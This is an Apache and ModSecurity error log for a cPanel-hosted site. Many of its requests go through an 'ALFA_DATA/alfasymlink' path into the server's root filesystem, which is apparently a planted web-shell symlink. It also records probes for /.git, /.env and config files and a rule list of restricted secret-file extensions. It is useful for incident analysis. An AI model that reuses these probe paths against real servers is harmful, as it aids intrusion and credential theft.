[Sun Oct 25 11:02:42.138321 2026] [core:error] [pid 2847214:tid 2847214] (13)Permission denied: [client 98.82.39.241:57870] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty62/subsystem/ttyS1/closing_wait
[Sun Oct 25 11:03:10.136154 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 54.83.56.1:59320] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:03:11.441759 2026] [security2:error] [pid 2834019:tid 2834019] [client 54.166.234.204:12722] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "lentes1.sherwinpinturas.com"] [uri "/favicon.png"] [unique_id "at4aL0sgp-xlBP1GcWOS1AAAABE"]
[Sun Oct 25 11:03:11.441804 2026] [security2:error] [pid 2834019:tid 2834019] [client 54.166.234.204:12722] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "lentes1.sherwinpinturas.com"] [uri "/favicon.png"] [unique_id "at4aL0sgp-xlBP1GcWOS1AAAABE"]
[Sun Oct 25 11:03:18.123753 2026] [ssl:error] [pid 2847214:tid 2847214] (5)Input/output error: [client 52.203.152.231:57792] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:03:22.249180 2026] [ssl:error] [pid 2847175:tid 2847175] (70014)End of file found: [client 98.83.177.42:4321] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:03:26.108769 2026] [ssl:error] [pid 2847227:tid 2847227] (70014)End of file found: [client 52.71.216.196:61844] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:03:28.338832 2026] [security2:error] [pid 2847176:tid 2847176] [client 16.216.88.184:24576] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/udev/udev.conf"] [unique_id "at4aQPIHvaVed3v2HBYKxAAAACM"]
[Sun Oct 25 11:03:28.339293 2026] [security2:error] [pid 2847176:tid 2847176] [client 16.216.88.184:24576] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/udev/udev.conf"] [unique_id "at4aQPIHvaVed3v2HBYKxAAAACM"]
[Sun Oct 25 11:03:28.339621 2026] [security2:error] [pid 2847176:tid 2847176] [client 16.216.88.184:24576] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/udev/udev.conf"] [unique_id "at4aQPIHvaVed3v2HBYKxAAAACM"]
[Sun Oct 25 11:03:30.141213 2026] [ssl:error] [pid 2847173:tid 2847173] (70014)End of file found: [client 3.221.156.96:11788] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:03:32.960867 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 85.208.96.198:28562] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/processor/parameters/bm_check_disable
[Sun Oct 25 11:03:34.112233 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 34.236.135.14:10642] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:03:42.300943 2026] [ssl:error] [pid 2847175:tid 2847175] (70014)End of file found: [client 3.212.205.90:39379] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:03:42.770344 2026] [authz_core:error] [pid 2847227:tid 2847227] [client 197.186.0.161:49221] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 11:03:46.218103 2026] [core:error] [pid 2847176:tid 2847176] (13)Permission denied: [client 52.71.46.142:7047] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/driver/unbind
[Sun Oct 25 11:04:03.187288 2026] [security2:error] [pid 2834019:tid 2834019] [client 54.166.234.204:22552] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "lentes1.sherwinpinturas.com"] [uri "/favicon.ico"] [unique_id "at4aY0sgp-xlBP1GcWOS1wAAABE"], referer: https://lentes1.sherwinpinturas.com/
[Sun Oct 25 11:04:03.187349 2026] [security2:error] [pid 2834019:tid 2834019] [client 54.166.234.204:22552] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "lentes1.sherwinpinturas.com"] [uri "/favicon.ico"] [unique_id "at4aY0sgp-xlBP1GcWOS1wAAABE"], referer: https://lentes1.sherwinpinturas.com/
[Sun Oct 25 11:04:07.570861 2026] [core:error] [pid 2847214:tid 2847214] (13)Permission denied: [client 185.191.171.6:43524] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_inode_cache/free_calls
[Sun Oct 25 11:04:34.143794 2026] [ssl:error] [pid 2847214:tid 2847214] (70014)End of file found: [client 35.174.141.243:57698] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:04:42.114371 2026] [ssl:error] [pid 2847227:tid 2847227] (70014)End of file found: [client 18.214.124.6:50346] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:04:46.147692 2026] [ssl:error] [pid 2848588:tid 2848588] (70014)End of file found: [client 54.204.12.115:45128] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:04:58.114231 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 3.208.146.193:65513] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:05:02.162754 2026] [ssl:error] [pid 2847227:tid 2847227] (70014)End of file found: [client 44.205.74.196:10490] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:05:10.577114 2026] [security2:error] [pid 2847173:tid 2847173] [client 80.94.92.126:5886] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at4apg8IdyxlzPtPgw-QpAAAACA"]
[Sun Oct 25 11:05:10.577384 2026] [security2:error] [pid 2847173:tid 2847173] [client 80.94.92.126:5886] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at4apg8IdyxlzPtPgw-QpAAAACA"]
[Sun Oct 25 11:05:10.577761 2026] [security2:error] [pid 2847173:tid 2847173] [client 80.94.92.126:5886] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at4apg8IdyxlzPtPgw-QpAAAACA"]
[Sun Oct 25 11:05:18.991830 2026] [security2:error] [pid 2847175:tid 2847175] [client 85.208.96.209:28386] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/presta14/install.php"] [unique_id "at4ariFj6171uFyu8WgdngAAACI"]
[Sun Oct 25 11:05:18.991883 2026] [security2:error] [pid 2847175:tid 2847175] [client 85.208.96.209:28386] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/presta14/install.php"] [unique_id "at4ariFj6171uFyu8WgdngAAACI"]
[Sun Oct 25 11:05:22.150211 2026] [core:error] [pid 2847227:tid 2847227] (13)Permission denied: [client 18.210.58.238:32249] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:04/physical_node/resource4_wc
[Sun Oct 25 11:05:30.363133 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 3.211.105.134:40070] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:05:38.227550 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 52.44.174.136:5085] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:05:42.273644 2026] [core:error] [pid 2847221:tid 2847221] (13)Permission denied: [client 52.204.89.12:6590] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:14/eject
[Sun Oct 25 11:05:50.258010 2026] [ssl:error] [pid 2847214:tid 2847214] (70014)End of file found: [client 100.27.153.9:5815] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:06:02.236802 2026] [ssl:error] [pid 2847173:tid 2847173] (70014)End of file found: [client 107.20.224.184:45471] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:06:10.237600 2026] [ssl:error] [pid 2847221:tid 2847221] (70014)End of file found: [client 107.20.224.184:2350] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:06:11.456674 2026] [ssl:error] [pid 2847175:tid 2847175] (70014)End of file found: [client 85.208.96.194:50982] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:06:18.224897 2026] [ssl:error] [pid 2847176:tid 2847176] (70014)End of file found: [client 18.232.12.157:22496] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:06:22.222615 2026] [ssl:error] [pid 2848588:tid 2848588] (70014)End of file found: [client 54.90.244.132:51691] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:06:26.250140 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 54.91.122.193:16073] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:06:43.143832 2026] [ssl:error] [pid 2847175:tid 2847175] (70014)End of file found: [client 52.7.13.143:29847] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:06:50.430469 2026] [ssl:error] [pid 2847214:tid 2847214] (70014)End of file found: [client 52.44.148.203:11346] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:07:14.388552 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 54.83.56.1:21444] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:07:22.263807 2026] [ssl:error] [pid 2847175:tid 2847175] (70014)End of file found: [client 52.54.15.103:59833] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:07:26.485662 2026] [ssl:error] [pid 2847227:tid 2847227] (70014)End of file found: [client 52.204.71.8:2436] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:07:55.424678 2026] [security2:error] [pid 2847227:tid 2847227] [client 85.208.96.208:44868] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/certs/hoteles3_sherwinpinturas_com_a9677_f9041_1790149187_4e2ffde4369e5bd5c23846b3b7112950.crt"] [unique_id "at4bS5aFInOsw263h0DrWgAAADU"]
[Sun Oct 25 11:07:55.424779 2026] [security2:error] [pid 2847227:tid 2847227] [client 85.208.96.208:44868] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/certs/hoteles3_sherwinpinturas_com_a9677_f9041_1790149187_4e2ffde4369e5bd5c23846b3b7112950.crt"] [unique_id "at4bS5aFInOsw263h0DrWgAAADU"]
[Sun Oct 25 11:08:06.300570 2026] [ssl:error] [pid 2848588:tid 2848588] (70014)End of file found: [client 34.195.248.30:40746] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:08:14.288035 2026] [core:error] [pid 2847173:tid 2847173] (13)Permission denied: [client 54.86.59.155:24360] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/net/lo/subsystem/eth0/device/driver/virtio0/driver/uevent
[Sun Oct 25 11:08:17.413047 2026] [core:error] [pid 2821699:tid 2821699] (13)Permission denied: [client 185.191.171.14:22314] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Parse/hwcache_align
[Sun Oct 25 11:08:26.328345 2026] [ssl:error] [pid 2847227:tid 2847227] (70014)End of file found: [client 52.71.216.196:18339] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:08:30.373941 2026] [ssl:error] [pid 2847214:tid 2847214] (70014)End of file found: [client 54.163.136.244:46841] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:08:34.550601 2026] [ssl:error] [pid 2848588:tid 2848588] (70014)End of file found: [client 44.217.255.167:35392] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:08:38.292189 2026] [ssl:error] [pid 2847173:tid 2847173] (70014)End of file found: [client 34.195.60.66:5299] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:08:42.294606 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 44.221.180.179:36554] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:08:50.322463 2026] [ssl:error] [pid 2847221:tid 2847221] (70014)End of file found: [client 34.206.212.24:56189] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:09:06.324028 2026] [core:error] [pid 2821699:tid 2821699] (13)Permission denied: [client 52.0.41.164:8204] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/device:03/physical_node/resource0_wc
[Sun Oct 25 11:09:10.412141 2026] [ssl:error] [pid 2847175:tid 2847175] (70014)End of file found: [client 44.195.50.71:56904] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:09:10.698294 2026] [security2:error] [pid 2847214:tid 2847214] [client 64.89.161.82:24070] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "monster.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4blvhVEu9HLPc5D-_59wAAACk"]
[Sun Oct 25 11:09:10.698581 2026] [security2:error] [pid 2847214:tid 2847214] [client 64.89.161.82:24070] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "monster.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4blvhVEu9HLPc5D-_59wAAACk"]
[Sun Oct 25 11:09:10.698844 2026] [security2:error] [pid 2847214:tid 2847214] [client 64.89.161.82:24070] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "monster.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4blvhVEu9HLPc5D-_59wAAACk"]
[Sun Oct 25 11:09:10.699509 2026] [security2:error] [pid 2847176:tid 2847176] [client 64.89.161.82:24084] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "monster.sherwinpinturas.com"] [uri "/config.js"] [unique_id "at4blvIHvaVed3v2HBYK0QAAACM"]
[Sun Oct 25 11:09:10.699545 2026] [security2:error] [pid 2847176:tid 2847176] [client 64.89.161.82:24084] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "monster.sherwinpinturas.com"] [uri "/config.js"] [unique_id "at4blvIHvaVed3v2HBYK0QAAACM"]
[Sun Oct 25 11:09:18.318065 2026] [ssl:error] [pid 2847175:tid 2847175] (70014)End of file found: [client 34.236.41.241:2304] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:09:22.411986 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 50.19.79.213:34946] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:09:22.412199 2026] [security2:error] [pid 2834019:tid 2834019] [client 50.19.79.213:34946] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/input3/subsystem/mouse0/subsystem/input4/device/driver/bind_mode"] [unique_id "at4boksgp-xlBP1GcWOS5AAAABE"]
[Sun Oct 25 11:09:22.412316 2026] [security2:error] [pid 2834019:tid 2834019] [client 50.19.79.213:34946] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/input3/subsystem/mouse0/subsystem/input4/device/driver/bind_mode"] [unique_id "at4boksgp-xlBP1GcWOS5AAAABE"]
[Sun Oct 25 11:09:26.446793 2026] [ssl:error] [pid 2847176:tid 2847176] (70014)End of file found: [client 52.70.123.241:35198] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:09:26.882004 2026] [core:error] [pid 2847227:tid 2847227] (13)Permission denied: [client 185.191.171.11:28074] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/jbd2/sections/__bpf_raw_tp_map
[Sun Oct 25 11:09:34.834712 2026] [ssl:error] [pid 2852968:tid 2852968] (70014)End of file found: [client 3.93.253.174:35288] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:09:42.734118 2026] [core:error] [pid 2853059:tid 2853059] (13)Permission denied: [client 185.191.171.2:51062] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tw_sock_TCPv6/usersize
[Sun Oct 25 11:09:58.364687 2026] [ssl:error] [pid 2847227:tid 2847227] (70014)End of file found: [client 3.221.156.96:10747] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:10:02.445631 2026] [ssl:error] [pid 2852968:tid 2852968] (70014)End of file found: [client 98.83.178.66:35332] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:10:06.415714 2026] [ssl:error] [pid 2853057:tid 2853057] (70014)End of file found: [client 3.89.176.255:5701] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:10:11.429438 2026] [core:error] [pid 2853059:tid 2853059] (13)Permission denied: [client 85.208.96.206:64092] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-8/min_partial
[Sun Oct 25 11:10:15.397689 2026] [core:error] [pid 2847214:tid 2847214] (13)Permission denied: [client 185.191.171.10:26010] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/sanity_checks
[Sun Oct 25 11:10:16.545700 2026] [core:error] [pid 2847176:tid 2847176] (13)Permission denied: [client 185.191.171.2:61606] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-8k/objects_partial
[Sun Oct 25 11:10:26.427387 2026] [ssl:error] [pid 2847175:tid 2847175] (70014)End of file found: [client 98.83.226.125:19291] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:10:26.686334 2026] [security2:error] [pid 2853057:tid 2853057] [client 216.244.66.250:50106] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/source-map/lib/base64-vlq.js"] [unique_id "at4b4q0Ldhz6kr--iFl2hwAAAAY"]
[Sun Oct 25 11:10:26.686381 2026] [security2:error] [pid 2853057:tid 2853057] [client 216.244.66.250:50106] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/source-map/lib/base64-vlq.js"] [unique_id "at4b4q0Ldhz6kr--iFl2hwAAAAY"]
[Sun Oct 25 11:10:34.752154 2026] [ssl:error] [pid 2847176:tid 2847176] (5)Input/output error: [client 34.233.114.237:19380] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:10:42.415587 2026] [ssl:error] [pid 2847221:tid 2847221] (70014)End of file found: [client 3.221.156.96:54233] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:10:50.450818 2026] [ssl:error] [pid 2847175:tid 2847175] (70014)End of file found: [client 44.205.180.155:22199] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:10:54.483471 2026] [ssl:error] [pid 2853057:tid 2853057] (70014)End of file found: [client 44.221.227.90:54907] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:10:58.734213 2026] [ssl:error] [pid 2852968:tid 2852968] (70014)End of file found: [client 34.196.6.199:63558] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:11:07.093300 2026] [ssl:error] [pid 2853059:tid 2853059] (5)Input/output error: [client 3.216.86.144:39688] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:11:18.536372 2026] [ssl:error] [pid 2853057:tid 2853057] (70014)End of file found: [client 34.230.124.21:31154] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:11:21.357920 2026] [core:crit] [pid 2834019:tid 2834019] (13)Permission denied: [client 216.244.66.250:35280] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/41/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/41/fd/' is executable
[Sun Oct 25 11:11:21.358007 2026] [core:crit] [pid 2834019:tid 2834019] (13)Permission denied: [client 216.244.66.250:35280] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/41/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/41/map_files/' is executable
[Sun Oct 25 11:11:21.358024 2026] [core:crit] [pid 2834019:tid 2834019] (13)Permission denied: [client 216.244.66.250:35280] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/41/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/41/fdinfo/' is executable
[Sun Oct 25 11:11:26.751236 2026] [ssl:error] [pid 2853059:tid 2853059] (5)Input/output error: [client 52.200.93.170:34773] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:11:50.668159 2026] [ssl:error] [pid 2847214:tid 2847214] (70014)End of file found: [client 184.73.195.18:63921] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:11:54.494143 2026] [ssl:error] [pid 2853059:tid 2853059] (70014)End of file found: [client 52.21.62.139:5030] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:12:28.190771 2026] [core:error] [pid 2847176:tid 2847176] (13)Permission denied: [client 185.191.171.18:11214] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/kvm/sections/__jump_table
[Sun Oct 25 11:12:34.704361 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 18.205.127.11:41988] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:12:38.556037 2026] [security2:error] [pid 2853057:tid 2853057] [client 52.203.152.231:13323] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event3/device/subsystem/mice/subsystem/input1/id/"] [unique_id "at4cZq0Ldhz6kr--iFl2jAAAAAY"]
[Sun Oct 25 11:12:38.556094 2026] [security2:error] [pid 2853057:tid 2853057] [client 52.203.152.231:13323] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event3/device/subsystem/mice/subsystem/input1/id/"] [unique_id "at4cZq0Ldhz6kr--iFl2jAAAAAY"]
[Sun Oct 25 11:12:42.562441 2026] [core:error] [pid 2852968:tid 2852968] (13)Permission denied: [client 44.195.145.102:43691] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:05.0/subsystem/drivers/virtio-pci/0000:00:03.0/virtio0/driver/bind
[Sun Oct 25 11:12:46.782284 2026] [ssl:error] [pid 2847175:tid 2847175] (70014)End of file found: [client 23.21.204.95:23293] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:12:54.790642 2026] [ssl:error] [pid 2847176:tid 2847176] (70014)End of file found: [client 44.206.65.8:27467] AH02013: coalesce failed to read from data bucket
